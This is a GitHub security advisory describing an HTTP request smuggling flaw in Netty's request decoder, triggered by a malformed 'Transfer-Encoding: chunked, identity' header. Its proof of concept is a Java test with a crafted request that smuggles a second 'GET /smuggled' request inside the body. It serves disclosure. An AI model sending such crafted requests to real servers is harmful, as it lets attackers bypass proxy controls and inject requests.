GHSA-38f8-5428-x5cv

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GHSA-38f8-5428-x5cv

Summary: Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding

Details: ### Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. ### Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length " If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. " A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty. ### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body. ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked, identity\r\n" + "Content-Length: 48\r\n" + "\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII))); // Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); assertTrue(request.headers().contains("Transfer-Encoding")); assertFalse(request.headers().contains("Content-Length")); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); // Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); } ``` ### Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

References: https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv, https://nvd.nist.gov/vuln/detail/CVE-2026-42585, https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length, https://github.com/netty/netty